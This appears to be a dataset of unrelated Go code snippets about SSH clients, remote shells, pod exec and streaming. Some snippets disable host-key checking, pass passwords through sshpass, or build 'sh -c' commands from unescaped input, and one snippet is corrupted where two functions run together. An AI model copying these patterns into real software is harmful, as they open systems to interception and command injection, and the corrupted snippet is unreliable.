peer already connected\n\tif _, ok := rhost.teo.arp.find(peer); ok {\n\t\tteolog.DebugVv(MODULE, \"peer\", peer, \"already connected, suggests address\",\n\t\t\taddr, \"port\", port)\n\t\treturn\n\t}\n\n\t// Does not create connection if connection with this address an port\n\t// already exists\n\tif _, ok := rhost.teo.arp.find(addr, int(port), 0); ok {\n\t\tteolog.DebugVv(MODULE, \"connection\", addr, int(port), 0, \"already exsists\")\n\t\treturn\n\t}\n\n\tgo func() {\n\t\trhost.teo.wg.Add(1)\n\t\tdefer rhost.teo.wg.Done()\n\t\t// Create new connection\n\t\ttcd := rhost.teo.td.ConnectChannel(addr, int(port), 0)\n\n\t\t// Replay to address received in command data\n\t\trhost.teo.sendToTcd(tcd, CmdNone, []byte{0})\n\n\t\t// Disconnect this connection if it does not added to peers arp table during timeout\n\t\t//go func(tcd *trudp.ChannelData) {\n\t\ttime.Sleep(1500 * time.Millisecond)\n\t\tif !rhost.running {\n\t\t\tteolog.DebugVv(MODULE, \"channel discovery task finished...\")\n\t\t\treturn\n\t\t}\n\t\tif _, ok := rhost.teo.arp.find(tcd); !ok {\n\t\t\tteolog.DebugVv(MODULE, \"connection\", addr, int(port), 0,\n\t\t\t\t\"with peer does not established during timeout\")\n\t\t\ttcd.Close()\n\t\t\treturn\n\t\t}\n\t}()\n}","func (c *Client) ExecStreamWithTransport(options *kubectl.ExecStreamWithTransportOptions) error {\n\treturn nil\n}","func (ch *InternalChannel) Connect(c *Client) {}","func (client *Client) Connect() error {\n\tkeys := ssh.Auth{\n\t\tKeys: []string{client.PrivateKeyFile},\n\t}\n\tsshterm, err := ssh.NewNativeClient(client.User, client.Host, \"SSH-2.0-MyCustomClient-1.0\", client.Port, &keys, nil)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to request shell - %s\", err)\n\t}\n\terr = sshterm.Shell()\n\tif err != nil && err.Error() != \"exit status 255\" {\n\t\treturn fmt.Errorf(\"Failed to request shell - %s\", err)\n\t}\n\treturn nil\n}","func NewSSHCommand(p *config.KfParams) *cobra.Command {\n\tvar (\n\t\tdisableTTY bool\n\t\tcommand []string\n\t\tcontainer string\n\t)\n\n\tcmd := &cobra.Command{\n\t\tUse: \"ssh APP_NAME\",\n\t\tShort: \"Open a shell on an App instance.\",\n\t\tExample: `\n\t\t# Open a shell to a specific App\n\t\tkf ssh myapp\n\n\t\t# Open a shell to a specific Pod\n\t\tkf ssh pod/myapp-revhex-podhex\n\n\t\t# Start a different command with args\n\t\tkf ssh myapp -c /my/command -c arg1 -c arg2\n\t\t`,\n\t\tArgs: cobra.ExactArgs(1),\n\t\tLong: `\n\t\tOpens a shell on an App instance using the Pod exec endpoint.\n\n\t\tThis command mimics CF's SSH command by opening a connection to the\n\t\tKubernetes control plane which spawns a process in a Pod.\n\n\t\tThe command connects to an arbitrary Pod that matches the App's runtime\n\t\tlabels. If you want a specific Pod, use the pod/ notation.\n\n\t\tNOTE: Traffic is encrypted between the CLI and the control plane, and\n\t\tbetween the control plane and Pod. A malicious Kubernetes control plane\n\t\tcould observe the traffic.\n\t\t`,\n\t\tValidArgsFunction: completion.AppCompletionFn(p),\n\t\tSilenceUsage: true,\n\t\tRunE: func(cmd *cobra.Command, args []string) error {\n\t\t\tctx := cmd.Context()\n\t\t\tif err := p.ValidateSpaceTargeted(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tstreamExec := execstreamer.Get(ctx)\n\n\t\t\tenableTTY := !disableTTY\n\t\t\tappName := args[0]\n\n\t\t\tpodSelector := metav1.ListOptions{}\n\t\t\tif strings.HasPrefix(appName, podPrefix) {\n\t\t\t\tpodName := strings.TrimPrefix(appName, podPrefix)\n\t\t\t\tpodSelector.FieldSelector = fields.OneTermEqualSelector(\"metadata.name\", podName).String()\n\t\t\t} else {\n\t\t\t\tappLabels := v1alpha1.AppComponentLabels(appName, \"app-server\")\n\t\t\t\tpodSelector.LabelSelector = labels.SelectorFromSet(appLabels).String()\n\t\t\t}\n\n\t\t\texecOpts := corev1.PodExecOptions{\n\t\t\t\tContainer: container,\n\t\t\t\tCommand: command,\n\t\t\t\tStdin: true,\n\t\t\t\tStdout: true,\n\t\t\t\tStderr: true,\n\t\t\t\tTTY: enableTTY,\n\t\t\t}\n\n\t\t\tt := term.TTY{\n\t\t\t\tOut: cmd.OutOrStdout(),\n\t\t\t\tIn: cmd.InOrStdin(),\n\t\t\t\tRaw: true,\n\t\t\t}\n\n\t\t\tsizeQueue := t.MonitorSize(t.GetSize())\n\n\t\t\tstreamOpts := remotecommand.StreamOptions{\n\t\t\t\tStdin: cmd.InOrStdin(),\n\t\t\t\tStdout: cmd.OutOrStdout(),\n\t\t\t\tStderr: cmd.ErrOrStderr(),\n\t\t\t\tTty: enableTTY,\n\t\t\t\tTerminalSizeQueue: sizeQueue,\n\t\t\t}\n\n\t\t\t// Set up a TTY locally if it's enabled.\n\t\t\tif fd, isTerm := dockerterm.GetFdInfo(streamOpts.Stdin); isTerm && enableTTY {\n\t\t\t\toriginalState, err := dockerterm.MakeRaw(fd)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tdefer dockerterm.RestoreTerminal(fd, originalState)\n\t\t\t}\n\n\t\t\treturn streamExec.Stream(ctx, podSelector, execOpts, streamOpts)\n\t\t},\n\t}\n\n\tcmd.Flags().StringArrayVarP(\n\t\t&command,\n\t\t\"command\",\n\t\t\"c\",\n\t\t[]string{\"/bin/bash\"},\n\t\t\"Command to run for the shell. Subsequent definitions will be used as args.\",\n\t)\n\n\tcmd.Flags().StringVar(\n\t\t&container,\n\t\t\"container\",\n\t\tv1alpha1.DefaultUserContainerName,\n\t\t\"Container to start the command in.\",\n\t)\n\n\tcmd.Flags().BoolVarP(\n\t\t&disableTTY,\n\t\t\"disable-pseudo-tty\",\n\t\t\"T\",\n\t\tfalse,\n\t\t\"Don't use a TTY when executing.\",\n\t)\n\n\treturn cmd\n}","func (sshClient *SSHClient) MuxShell(w io.Writer, r, e io.Reader) (chan<- string, <-chan string) {\n\tin := make(chan string, 5)\n\tout := make(chan string, 5)\n\tvar wg sync.WaitGroup\n\twg.Add(1) //for the shell itself\n\tgo func() {\n\t\tfor cmd := range in {\n\t\t\twg.Add(1)\n\t\t\tw.Write([]byte(cmd + \"\\n\"))\n\t\t\twg.Wait()\n\t\t}\n\t}()\n\n\tgo func() {\n\t\tvar (\n\t\t\tbuf [2 * 1024 * 1024]byte\n\t\t\tt int\n\t\t)\n\t\tfor {\n\n\t\t\t//read next buf n.\n\t\t\tn, err := r.Read(buf[t:])\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"ReadError:\" + err.Error())\n\t\t\t\tclose(in)\n\t\t\t\tclose(out)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tt += n\n\t\t\tresult := string(buf[:t])\n\n\t\t\tline := string(buf[t-n : t])\n\t\t\tfmt.Printf(\"Line:=>%v\\n\", line)\n\n\t\t\tif strings.Contains(line, sshClient.MoreTag) {\n\t\t\t\tif sshClient.IsMoreLine {\n\t\t\t\t\tt -= n\n\t\t\t\t} else {\n\t\t\t\t\tt -= len(sshClient.MoreTag)\n\t\t\t\t}\n\t\t\t\tw.Write([]byte(sshClient.MoreWant))\n\t\t\t} else if len(sshClient.ColorTag) > 0 {\n\n\t\t\t\t//invisible char\n\t\t\t\tif strings.HasSuffix(sshClient.ColorTag, \"H\") {\n\t\t\t\t\tcolorTag := strings.Replace(sshClient.ColorTag, \"H\", \"\", -1)\n\t\t\t\t\ttag, err := hex.DecodeString(colorTag)\n\t\t\t\t\tif err == nil {\n\t\t\t\t\t\t// remove colortag\n\t\t\t\t\t\tvar newBuf []byte\n\t\t\t\t\t\tnewBuf = RemoveStrByTagBytes([]byte(line), tag, tag, \"\\r\\n\")\n\n\t\t\t\t\t\tt -= n\n\t\t\t\t\t\tcopy(buf[t:], newBuf[:])\n\t\t\t\t\t\tt += len(newBuf)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t// remove colortag\n\t\t\t\t\tvar newBuf []byte\n\t\t\t\t\tnewBuf = RemoveStringByTag([]byte(line), sshClient.ColorTag, sshClient.ColorTag, \"\\r\\n\")\n\n\t\t\t\t\tt -= n\n\t\t\t\t\tcopy(buf[t:], newBuf[:])\n\t\t\t\t\tt += len(newBuf)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif strings.Contains(result, \"username:\") ||\n\t\t\t\tstrings.Contains(result, \"password:\") ||\n\t\t\t\tstrings.Contains(result, sshClient.ReadOnlyPrompt) ||\n\t\t\t\t(len(sshClient.ReadOnlyPrompt2) > 0 && strings.Contains(result, sshClient.ReadOnlyPrompt2)) ||\n\t\t\t\tstrings.Contains(result, sshClient.SysEnablePrompt) {\n\n\t\t\t\tsOut := string(buf[:t])\n\t\t\t\tfmt.Printf(\"DataOut:%v\\n\", sOut)\n\n\t\t\t\tout <- string(buf[:t])\n\t\t\t\tt = 0\n\t\t\t\twg.Done()\n\t\t\t}\n\t\t}\n\t}()\n\n\tfmt.Printf(\"ExecuteResult:=>%v\\n\", out)\n\treturn in, out\n}","func connectChart(ctx context.Context, d *dut.DUT, hostname string) (*ssh.Conn, error) {\n\tvar sopt ssh.Options\n\tssh.ParseTarget(hostname, &sopt)\n\tsopt.KeyDir = d.KeyDir()\n\tsopt.KeyFile = d.KeyFile()\n\tsopt.ConnectTimeout = 10 * time.Second\n\treturn ssh.New(ctx, &sopt)\n}","func EchoSCSICommand(path, content string) error {\n\t//out, err := Execute(\"tee\", \"-a\", path, content)\n\tcmd := fmt.Sprintf(`echo '%s' > %s`, content, path)\n\t_, err := osBrick.Execute(\"sh\", \"-c\", cmd)\n\treturn err\n}","func Run(connectAs string, connectTo string, key string) {\n\ttarget := connectAs + \"@\" + connectTo\n\tlog.Info(\"Connecting as \" + target)\n\n\texecutable := \"sshpass\"\n\tparams := []string{\n\t\t\"-p\", key, \"ssh\", \"-o\", \"StrictHostKeyChecking=no\", \"-t\", \"-t\", target,\n\t}\n\tlog.Infof(\"Launching: %s %s\", executable, strings.Join(params, \" \"))\n\n\tif log.GetLevel() == log.DebugLevel {\n\t\tfor i, param := range params {\n\t\t\tif param == \"ssh\" {\n\t\t\t\ti = i + 1\n\t\t\t\t// Yes: this is crazy, but this inserts an element into a slice\n\t\t\t\tparams = append(params[:i], append([]string{\"-v\"}, params[i:]...)...)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\n\tcmd := exec.Command(executable, params...)\n\tcmd.Stderr = os.Stderr\n\tcmd.Stdout = os.Stdout\n\tcmd.Stdin = os.Stdin\n\terr := cmd.Start()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tcmd.Wait()\n\tlog.Infof(\"Just ran subprocess %d, exiting\\n\", cmd.Process.Pid)\n}","func superNetperfStream(s *helpers.SSHMeta, client string, server string, num int) *helpers.CmdRes {\n\treturn superNetperfStreamIPv4(s, client, server, num)\n}","func (s *SSH) Run(command string) (outStr string, err error) {\n\toutChan, doneChan, err := s.stream(command)\n\tif err != nil {\n\t\treturn outStr, err\n\t}\n\n\tdone := false\n\tfor !done {\n\t\tselect {\n\t\tcase <-doneChan:\n\t\t\tdone = true\n\t\tcase line := <-outChan:\n\t\t\t// TODO ew.. this is nasty\n\t\t\toutStr += line + \"\\n\"\n\n\t\t}\n\t}\n\n\treturn outStr, err\n}","func Stream(logGroup, commandID, instanceID *string) {\n\tlogger := log.New(os.Stdout, *instanceID+\" \", 0)\n\n\tlogStreamerOut := logstreamer.NewLogstreamer(logger, \"stdout\", false)\n\tdefer logStreamerOut.Close()\n\n\tgo streamFromCloudwatch(\n\t\tlogStreamerOut,\n\t\t*logGroup,\n\t\tfmt.Sprintf(\"%s/%s/aws-runShellScript/stdout\", *commandID, *instanceID),\n\t\tos.Stderr,\n\t)\n\n\tlogStreamerErr := logstreamer.NewLogstreamer(logger, \"stderr\", false)\n\tdefer logStreamerErr.Close()\n\n\tgo streamFromCloudwatch(\n\t\tlogStreamerErr,\n\t\t*logGroup,\n\t\tfmt.Sprintf(\"%s/%s/aws-runShellScript/stderr\", *commandID, *instanceID),\n\t\tos.Stdout,\n\t)\n\n}","func ExecSSH(ctx context.Context, id Identity, cmd []string, opts plugin.ExecOptions) (plugin.ExecCommand, error) {\n\t// find port, username, etc from .ssh/config\n\tport, err := ssh_config.GetStrict(id.Host, \"Port\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tuser := id.User\n\tif user == \"\" {\n\t\tif user, err = ssh_config.GetStrict(id.Host, \"User\"); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif user == \"\" {\n\t\tuser = \"root\"\n\t}\n\n\tstrictHostKeyChecking, err := ssh_config.GetStrict(id.Host, \"StrictHostKeyChecking\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tconnection, err := sshConnect(id.Host, port, user, strictHostKeyChecking != \"no\")\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to connect: %s\", err)\n\t}\n\n\t// Run command via session\n\tsession, err := connection.NewSession()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to create session: %s\", err)\n\t}\n\n\tif opts.Tty {\n\t\t// sshd only processes signal codes if a TTY has been allocated. So set one up when requested.\n\t\tmodes := ssh.TerminalModes{ssh.ECHO: 0, ssh.TTY_OP_ISPEED: 14400, ssh.TTY_OP_OSPEED: 14400}\n\t\tif err := session.RequestPty(\"xterm\", 40, 80, modes); err != nil {\n\t\t\treturn nil, fmt.Errorf(\"Unable to setup a TTY: %v\", err)\n\t\t}\n\t}\n\n\texecCmd := plugin.NewExecCommand(ctx)\n\tsession.Stdin, session.Stdout, session.Stderr = opts.Stdin, execCmd.Stdout(), execCmd.Stderr()\n\n\tif opts.Elevate {\n\t\tcmd = append([]string{\"sudo\"}, cmd...)\n\t}\n\n\tcmdStr := shellquote.Join(cmd...)\n\tif err := session.Start(cmdStr); err != nil {\n\t\treturn nil, err\n\t}\n\texecCmd.SetStopFunc(func() {\n\t\t// Close the session on context cancellation. Copying will block until there's more to read\n\t\t// from the exec output. For an action with no more output it may never return.\n\t\t// If a TTY is setup and the session is still open, send Ctrl-C over before closing it.\n\t\tif opts.Tty {\n\t\t\tactivity.Record(ctx, \"Sent SIGINT on context termination: %v\", session.Signal(ssh.SIGINT))\n\t\t}\n\t\tactivity.Record(ctx, \"Closing session on context termination for %v: %v\", id.Host, session.Close())\n\t})\n\n\t// Wait for session to complete and stash result.\n\tgo func() {\n\t\terr := session.Wait()\n\t\tactivity.Record(ctx, \"Closing session for %v: %v\", id.Host, session.Close())\n\t\texecCmd.CloseStreamsWithError(nil)\n\t\tif err == nil {\n\t\t\texecCmd.SetExitCode(0)\n\t\t} else if exitErr, ok := err.(*ssh.ExitError); ok {\n\t\t\texecCmd.SetExitCode(exitErr.ExitStatus())\n\t\t} else {\n\t\t\texecCmd.SetExitCodeErr(err)\n\t\t}\n\t}()\n\treturn execCmd, nil\n}","func ExecShells(sshcfg *ssh.ClientConfig, commands []HostCmd, stdout io.Writer, stderr io.Writer) error {\n\tvar wg sync.WaitGroup\n\toutBuff := make(chan string, 100)\n\terrBuff := make(chan string, 100)\n\t// fork the commands\n\tfor _, cmd := range commands {\n\t\twg.Add(1)\n\t\tgo func(cmd HostCmd) {\n\t\t\t// decrement waitgroup when done\n\t\t\tdefer wg.Done()\n\t\t\t// connect ssh\n\t\t\tcli, err := ssh.Dial(\"tcp4\", fmt.Sprintf(\"%s:%d\", cmd.Host, 22), sshcfg)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Error connecting to host %s : %s\", cmd.Host, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tsesh, err := cli.NewSession()\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Error obtaining session on host %s : %s\", cmd.Host, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\t// pipe outputs\n\t\t\tgo func() {\n\t\t\t\tseshOut, err := sesh.StdoutPipe()\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"Error obtaining session stdout on host %s : %s\", cmd.Host, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\treadLinesToChan(seshOut, \"\", outBuff)\n\t\t\t}()\n\t\t\tgo func() {\n\t\t\t\tseshOut, err := sesh.StderrPipe()\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"Error obtaining session stderr on host %s : %s\", cmd.Host, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\treadLinesToChan(seshOut, fmt.Sprintf(\"%s: \", cmd.Host), errBuff)\n\t\t\t}()\n\t\t\t// issue command with proper env\n\t\t\ttoExec := fmt.Sprintf(\"if [ -f ~/.bashrc ]; then source ~/.bashrc ; fi; %s; exit;\", cmd.Cmd)\n\t\t\terr = sesh.Run(toExec)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"Error running command %s on host %s\", toExec, cmd.Host)\n\t\t\t}\n\t\t\tsesh.Close()\n\t\t}(cmd)\n\t}\n\toutDone := make(chan bool)\n\terrDone := make(chan bool)\n\tgo func() {\n\t\tout := bufio.NewWriter(stdout)\n\t\tfor line := range outBuff {\n\t\t\tout.WriteString(line)\n\t\t\tout.WriteByte('\\n')\n\t\t}\n\t\tout.Flush()\n\t\toutDone <- true\n\t\tclose(outDone)\n\t}()\n\tgo func() {\n\t\terr := bufio.NewWriter(stderr)\n\t\tfor line := range errBuff {\n\t\t\terr.WriteString(line)\n\t\t\terr.WriteByte('\\n')\n\t\t}\n\t\terr.Flush()\n\t\terrDone <- true\n\t\tclose(errDone)\n\t}()\n\twg.Wait()\n\tclose(outBuff)\n\tclose(errBuff)\n\t<-outDone\n\t<-errDone\n\treturn nil\n}","func (client *ExternalClient) Shell(pty bool, args ...string) error {\n\targs = append(client.BaseArgs, args...)\n\tcmd := getSSHCmd(client.BinaryPath, pty, args...)\n\tcmd.Stdin = os.Stdin\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\treturn cmd.Run()\n}","func call_ssh(cmd string, user string, hosts []string) (result string, error bool) {\n\tresults := make(chan string, 100)\n\ttimeout := time.After(5 * time.Second)\n\n\tfor _, hostname := range hosts {\n\t\tgo func(hostname string) {\n\t\t\tresults <- remote_runner.ExecuteCmd(cmd, user, hostname)\n\t\t}(hostname)\n\t}\n\n\tfor i := 0; i < len(hosts); i++ {\n\t\tselect {\n\t\tcase res := <-results:\n\t\t\t//fmt.Print(res)\n\t\t\tresult = res\n\t\t\terror = false\n\t\tcase <-timeout:\n\t\t\t//fmt.Println(\"Timed out!\")\n\t\t\tresult = \"Time out!\"\n\t\t\terror = true\n\t\t}\n\t}\n\treturn\n}","func (s *SSHOrch) ExecSSH(userserver, cmd string) string {\n\tclient := s.doLookup(userserver)\n\n\tsession, err := client.NewSession()\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed to create session:\", err)\n\t}\n\tdefer session.Close()\n\t/*\n\t\tstdout, err := session.StdoutPipe()\n\t\tif err != nil {\n\t\t\tlog.Fatalln(\"Failed to pipe session stdout:\", err)\n\t\t}\n\n\t\tstderr, err := session.StderrPipe()\n\t\tif err != nil {\n\t\t\tlog.Fatalln(\"Failed to pipe session stderr:\", err)\n\t\t}\n\t*/\n\n\tbuf, err := session.CombinedOutput(cmd)\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed to execute cmd:\", err)\n\t}\n\n\t// Network read pushed to background\n\t/*readExec := func(r io.Reader, ch chan []byte) {\n\t\tif str, err := ioutil.ReadAll(r); err != nil {\n\t\t\tch <- str\n\t\t}\n\t}\n\toutCh := make(chan []byte)\n\tgo readExec(stdout, outCh)\n\t*/\n\treturn string(buf)\n}","func SftpConnect(sshClient *ssh.Client) (*sftp.Client, error) {\n\tsftpClient, err := sftp.NewClient(sshClient)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn sftpClient, nil\n}","func (m *MinikubeRunner) SSH(cmdStr string) (string, error) {\n\tprofileArg := fmt.Sprintf(\"-p=%s\", m.Profile)\n\tpath, _ := filepath.Abs(m.BinaryPath)\n\n\tcmd := exec.Command(path, profileArg, \"ssh\", cmdStr)\n\tLogf(\"SSH: %s\", cmdStr)\n\tstdout, err := cmd.CombinedOutput()\n\tLogf(\"Output: %s\", stdout)\n\tif err, ok := err.(*exec.ExitError); ok {\n\t\treturn string(stdout), err\n\t}\n\treturn string(stdout), nil\n}","func ConnectSimpleStreams(url string, args *ConnectionArgs) (ImageServer, error) {\n\tlogger.Debug(\"Connecting to a remote simplestreams server\", logger.Ctx{\"URL\": url})\n\n\t// Cleanup URL\n\turl = strings.TrimSuffix(url, \"/\")\n\n\t// Use empty args if not specified\n\tif args == nil {\n\t\targs = &ConnectionArgs{}\n\t}\n\n\t// Initialize the client struct\n\tserver := ProtocolSimpleStreams{\n\t\thttpHost: url,\n\t\thttpUserAgent: args.UserAgent,\n\t\thttpCertificate: args.TLSServerCert,\n\t}\n\n\t// Setup the HTTP client\n\thttpClient, err := tlsHTTPClient(args.HTTPClient, args.TLSClientCert, args.TLSClientKey, args.TLSCA, args.TLSServerCert, args.InsecureSkipVerify, args.Proxy, args.TransportWrapper)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tserver.http = httpClient\n\n\t// Get simplestreams client\n\tssClient := simplestreams.NewClient(url, *httpClient, args.UserAgent)\n\tserver.ssClient = ssClient\n\n\t// Setup the cache\n\tif args.CachePath != \"\" {\n\t\tif !shared.PathExists(args.CachePath) {\n\t\t\treturn nil, fmt.Errorf(\"Cache directory %q doesn't exist\", args.CachePath)\n\t\t}\n\n\t\thashedURL := fmt.Sprintf(\"%x\", sha256.Sum256([]byte(url)))\n\n\t\tcachePath := filepath.Join(args.CachePath, hashedURL)\n\t\tcacheExpiry := args.CacheExpiry\n\t\tif cacheExpiry == 0 {\n\t\t\tcacheExpiry = time.Hour\n\t\t}\n\n\t\tif !shared.PathExists(cachePath) {\n\t\t\terr := os.Mkdir(cachePath, 0755)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\n\t\tssClient.SetCache(cachePath, cacheExpiry)\n\t}\n\n\treturn &server, nil\n}","func DialCommand(cmd *exec.Cmd) (*Conn, error) {\n\treader, err := cmd.StdoutPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\twriter, err := cmd.StdinPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = cmd.Start()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Conn{reader, writer, os.Getpid(), cmd.Process.Pid}, nil\n}","func DialSSHWithPassword(addr string, username string, password string, cb ssh.HostKeyCallback) (Client, error) {\n\treturn dialSSH(addr, username, ssh.Password(password), cb)\n}","func SetSSHCommand(command string) {\n\tsshCommand = command\n}","func RunSSHCommand(SSHHandle *ssh.Client, cmd string, sudo bool, bg bool, logger *log.Logger) (retCode int, stdout, stderr []string) {\n\tlogger.Println(\"Running cmd \" + cmd)\n\tvar stdoutBuf, stderrBuf bytes.Buffer\n\tsshSession, err := SSHHandle.NewSession()\n\tif err != nil {\n\t\tlogger.Printf(\"SSH session creation failed! %s\", err)\n\t\treturn -1, nil, nil\n\t}\n\tdefer sshSession.Close()\n\n\tmodes := ssh.TerminalModes{\n\t\tssh.ECHO: 0, // disable echoing\n\t\tssh.TTY_OP_ISPEED: 14400, // input speed = 14.4kbaud\n\t\tssh.TTY_OP_OSPEED: 14400, // output speed = 14.4kbaud\n\t}\n\n\tif err = sshSession.RequestPty(\"xterm\", 80, 40, modes); err != nil {\n\t\tlogger.Println(\"SSH session Pty creation failed!\")\n\t\treturn -1, nil, nil\n\t}\n\n\tsshOut, err := sshSession.StdoutPipe()\n\tif err != nil {\n\t\tlogger.Println(\"SSH session StdoutPipe creation failed!\")\n\t\treturn -1, nil, nil\n\t}\n\tsshErr, err := sshSession.StderrPipe()\n\tif err != nil {\n\t\tlogger.Println(\"SSH session StderrPipe creation failed!\")\n\t\treturn -1, nil, nil\n\t}\n\n\tshout := io.MultiWriter(&stdoutBuf, (*LogWriter)(logger))\n\tssherr := io.MultiWriter(&stderrBuf, (*LogWriter)(logger))\n\n\tgo func() {\n\t\tio.Copy(shout, sshOut)\n\t}()\n\tgo func() {\n\n\t\tio.Copy(ssherr, sshErr)\n\t}()\n\n\tif bg {\n\t\tcmd = \"nohup sh -c \\\"\" + cmd + \" 2>&1 >/dev/null 0 {\n\t\ts.addLookupAlias(alias, client)\n\t}\n}","func (c *subContext) openStream(ctx context.Context, epID epapi.ID, indCh chan<- indication.Indication) error {\n\tresponse, err := c.epClient.Get(ctx, epID)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tconn, err := c.conns.Connect(fmt.Sprintf(\"%s:%d\", response.IP, response.Port))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tclient := termination.NewClient(conn)\n\tresponseCh := make(chan e2tapi.StreamResponse)\n\trequestCh, err := client.Stream(ctx, responseCh)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\trequestCh <- e2tapi.StreamRequest{\n\t\tAppID: e2tapi.AppID(c.config.AppID),\n\t\tInstanceID: e2tapi.InstanceID(c.config.InstanceID),\n\t\tSubscriptionID: e2tapi.SubscriptionID(c.sub.ID),\n\t}\n\n\tfor response := range responseCh {\n\t\tindCh <- indication.Indication{\n\t\t\tEncodingType: encoding.Type(response.Header.EncodingType),\n\t\t\tPayload: indication.Payload{\n\t\t\t\tHeader: response.IndicationHeader,\n\t\t\t\tMessage: response.IndicationMessage,\n\t\t\t},\n\t\t}\n\t}\n\treturn nil\n}","func (client *SdnClient) SSHIntoSdnVM() error {\n\treturn utils.RunCommandForeground(\"ssh\", client.sshArgs()...)\n}","func (c krpcClient) ChainStream(interceptors ...grpc.StreamClientInterceptor) grpc.DialOption {\n\treturn grpc.WithChainStreamInterceptor(interceptors...)\n}","func ControlStream(conn net.Conn) *Control {\n\tconst pongChSize = 10\n\n\tctrl := &Control{\n\t\tconn: conn,\n\t\tpongCh: make(chan time.Time, pongChSize),\n\t\tdoneCh: make(chan struct{}),\n\t}\n\tgo ctrl.serve()\n\n\treturn ctrl\n}","func (t *TestCluster) SSH(m platform.Machine, cmd string) ([]byte, error) {\n\tvar stdout, stderr []byte\n\tvar err error\n\tf := func() {\n\t\tstdout, stderr, err = m.SSH(cmd)\n\t}\n\n\terrMsg := fmt.Sprintf(\"ssh: %s\", cmd)\n\t// If f does not before the test timeout, the RunWithExecTimeoutCheck\n\t// will end this goroutine and mark the test as failed\n\tt.H.RunWithExecTimeoutCheck(f, errMsg)\n\tif len(stderr) > 0 {\n\t\tfor _, line := range strings.Split(string(stderr), \"\\n\") {\n\t\t\tt.Log(line)\n\t\t}\n\t}\n\treturn stdout, err\n}","func InvokeCommand(ip, cmdStr string) (string, error) {\n\t// OpenSSH sessions terminate sporadically when a pty isn't allocated.\n\t// The -t flag doesn't work with OpenSSH on Windows, so we wrap the ssh call\n\t// within a bash session as a workaround, so that a pty is created.\n\tcmd := exec.Command(\"/bin/bash\")\n\tcmd.Stdin = strings.NewReader(fmt.Sprintf(sshTemplate, ip, cmdStr))\n\tout, err := cmd.CombinedOutput()\n\treturn strings.TrimSpace(string(out[:])), err\n}","func (client *Client) Run(command string, silent bool) (output string, err error) {\n\tkeys := ssh.Auth{\n\t\tKeys: []string{client.PrivateKeyFile},\n\t}\n\tsshterm, err := ssh.NewNativeClient(client.User, client.Host, \"SSH-2.0-MyCustomClient-1.0\", client.Port, &keys, nil)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Failed to request shell - %s\", err)\n\t}\n\tif !silent {\n\t\tlog.Printf(\"Running: ssh -i \\\"%s\\\" %s@%s %s\", client.PrivateKeyFile, client.User, client.Host, command)\n\t}\n\tr, _, err := sshterm.Start(command)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Failed to start command - %s\", err)\n\t}\n\tsshterm.Wait()\n\tresponse, err := ioutil.ReadAll(r)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Failed to read response - %s\", err)\n\t}\n\treturn string(response), nil\n}","func (s *SSHer) Connect() (err error) {\n\taddr := net.JoinHostPort(s.Host, s.Port)\n\tconfig := &ssh.ClientConfig{\n\t\tUser: s.User,\n\t\tAuth: []ssh.AuthMethod{\n\t\t\tssh.Password(s.Pass),\n\t\t},\n\t\tHostKeyCallback: ssh.InsecureIgnoreHostKey(),\n\t}\n\tif s.client, err = ssh.Dial(\"tcp\", addr, config); err != nil {\n\t\treturn\n\t}\n\n\treturn\n}","func (c *SDKActor) Connect(address string) string {\n resultChan := make(chan string, 0)\n c.actions <- func() {\n fmt.Printf(\"Can open connection to %s\", address)\n\n result := c.execute(address)\n\n resultChan <- result\n }\n return <-resultChan\n}","func cmdSSH() {\n\tswitch state := status(B2D.VM); state {\n\tcase vmUnregistered:\n\t\tlog.Fatalf(\"%s is not registered.\", B2D.VM)\n\tcase vmRunning:\n\t\tcmdParts := append(strings.Fields(B2D.SSHPrefix), fmt.Sprintf(\"%d\", B2D.SSHPort), \"docker@localhost\")\n\t\tif err := cmd(cmdParts[0], cmdParts[1:]...); err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\tdefault:\n\t\tlog.Fatalf(\"%s is not running.\", B2D.VM)\n\t}\n}","func (h *Handler) ExecuteWithStream(podName, containerName string, command []string, stdin io.Reader, stdout, stderr io.Writer) error {\n\t// if pod not found, returns error.\n\tpod, err := h.Get(podName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// if containerName is empty, execute command in first container of the 